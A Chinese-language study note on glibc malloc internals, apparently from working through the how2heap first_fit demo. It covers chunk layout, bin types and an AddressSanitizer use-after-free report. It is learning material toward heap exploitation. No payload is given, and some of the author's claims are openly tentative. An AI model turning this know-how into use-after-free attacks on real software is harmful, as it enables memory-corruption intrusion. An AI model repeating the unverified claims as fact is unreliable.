之后将变量a中的内容换成string类型的`“this is a A!”`,会发现地址不变。

之后将第一个malloc的地址free之后，再次malloc一个小于第一次malloc大小的数据，会发现allocator重新分配的chunk还是之那一个。

> 疑问：这里重新分配的chunk是否大小还是之前的大小，还是0x500？答：应该是0x500.

![image-20230518192130583](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305181921627.png)

GDB调试时可以看到当malloc分配空间时是将空间中先填充入‘’0‘’.

#### 疑

**并且这里可以看到两个连续的chunk之间会有一个0x8的空间：0x2a0-0x7c0 = 0x520 = 0x512+0x8**: 这八字节中存放的是啥先存疑：

```

```

![image-20230518193535779](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305181935836.png)

free（a）之后可以看到：

**0x7fffffffdde8 —▸ 0x5555555592a0 —▸ 0x7ffff7fa6ce0 (main_arena+96) —▸ 0x555555559a10 ◂— 0x0**

至于这里：0x555555559a10 ◂— 0x0也为看懂，存疑：

```text
这里的地址是chunk中data空间的地址，当malloc分配一块空间时，会将空间中的数据初始化为0.
```



> bin链(136个)：
>
> * fast bin(10个)：单链表结构，故所有分配操作（？存疑）都只对链表尾操作。fasi bin不会对相邻的free chunk进行合并（为了提高效率），单个fast bin中的chunk都是一样大小的，并且从第一个fast bin中chunk的大小到最后一个fast bin中的chunk大小为累加16字节（**暂时不清楚分不分x86和x64**），如第一个fast bin中chunk大小均为32Bytes，第二个fast bin中的chunk大小则为48字节，以此类推；**第一次mallo时，fast bin未初始化，当分配0x16~0x80字节大小空间时就会向下寻找small bin中的chunk
>
>   引用：[**堆漏洞挖掘中的bins分类(fastbin、unsorted bin、small bin、large bin)**](https://blog.51cto.com/u_15346415/3675227)
>
>   * 当应用层通过malloc函数第一次申请的chunk属于16字节~80字节之间时，因为初始化的时候fast bin支持的最大内存大小以及所有fast bin链表都是空的，所以它也不会交由fast bin来处理，而是向下传递交由small bin来处理，如果small bin也为空的话就交给unsorted bin处理。
>   * 那么，fast bin如何进行初始化哪？
>     当我们第一次调用malloc(fast bin)的时候，系统执行_int_malloc函数，该函数首先会发现当前fast bin为空，就转交给small bin处理，进而又发现small bin 也为空，就调用malloc_consolidate函数对malloc_state结构体进行初始化。malloc_consolidate函数主要完成以下几个功能：
>     * a.首先判断当前malloc_state结构体中的fast bin是否为空，如果为空就说明整个malloc_state都没有完成初始化，需要对malloc_state进行初始化。
>     * b.malloc_state的初始化操作由函数malloc_init_state(av)完成，该函数先初始化除fast bin之外的所有的bins，再初始化fast bins。
>
>   那么当再次执行malloc(fast chunk)函数的时候，此时fast bin相关数据不为空了，就可以使用fast bin。
>
> * unsort bin（1个）：当**释放**过大或者过小的chunk时就会将chunk放到unsort bins中。
>
> * small bin ：大小小于0x400的small chunk。
>
> * large bin

malloc的初始化，第一次调用malloc时会先从fast bin或者unsort bin中找合适的内存空间，但是一般都会找不到，找不到之后就会调用malloc_initialized函数进行初始化

___

这里可以看一下chunk的地址处：（这里malloc实际分配的空间大小大于我们需要的大小，这里可能仅仅只是为了*合适*，（也不排除有其他的可能），但是我这里看了别的人分配的，多出来的大小和我的多出来的不一样，说明这多出来的大小不是固定的或者说不是有目的性的，所以可能只是为了*合适*）

![image-20230521204735396](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305212047422.png)

可以看到第一个malloc的地址和第二个malloc的地址分别是**0x00005555555592a0**和**0x00005555555597c0**，而我们这里选择查看这两个地址-0x10的地方是因为malloc**返回时地址**指向的都是chunk的usr的data部分的地址：

![image-20230522184000904](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305221840960.png)

free之后再看第二个chunk：![image-20230521204846709](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305212048736.png)

这里就可以看到第一个0x8字节是pre_size，里面放的是：0x520刚好是前一个被free的chunk的大小。

第三个malloc之后再看分配的chunk大小为：![image-20230521205146378](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305212051408.png)

很明显还是和第一个chunk一样大的0x521字节。

---

这里用

```python
gcc -fsanitize=address -g first_fit.c
```

重新编译再次执行便有更加详细的调试信息：

```python
❯ ./a.out
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(0x512): 0x61a000000080
2nd malloc(0x256): 0x616000000080
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x61a000000080 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x61a000000080
So, let's allocate 0x500 bytes
3rd malloc(0x500): 0x61a000000680
And put a different string here, "this is C!"
3rd allocation 0x61a000000680 points to this is C!
=================================================================
==17255==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a000000080 at pc 0x7f9fa39c0f89 bp 0x7ffc0207d3f0 sp 0x7ffc0207cb68
READ of size 2 at 0x61a000000080 thread T0
    #0 0x7f9fa39c0f88 in printf_common ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553
    #1 0x7f9fa39c18be in __interceptor_vfprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1664
    #2 0x7f9fa39c19ce in __interceptor_fprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1721
    #3 0x55ebce3cc793 in main /home/hyrink/how2heap/first_fit.c:35
    #4 0x7f9fa3764d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #5 0x7f9fa3764e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #6 0x55ebce3cc1a4 in _start (/home/hyrink/how2heap/a.out+0x11a4)

0x61a000000080 is located 0 bytes inside of 1298-byte region [0x61a000000080,0x61a000000592)
freed by thread T0 here:
    #0 0x7f9fa3a17517 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
    #1 0x55ebce3cc5c2 in main /home/hyrink/how2heap/first_fit.c:25
    #2 0x7f9fa3764d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

previously allocated by thread T0 here:
    #0 0x7f9fa3a17867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55ebce3cc3e1 in main /home/hyrink/how2heap/first_fit.c:13
    #2 0x7f9fa3764d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553 in printf_common
Shadow bytes around the buggy address:
  0x0c347fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c347fff8010:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==17255==ABORTING
```